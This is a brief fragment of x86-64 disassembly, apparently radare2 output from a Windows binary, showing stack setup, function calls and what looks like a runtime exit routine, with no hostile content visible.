jbe 0x14000894f
cmp dword [rcx + 0xf8], 0
je 0x14000894f
mov ecx, ebx
call fcn.140008a00
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400087dc
nop
cmp dword [rbp + 0x20], 0
je 0x14000899d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400089a8
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400088e0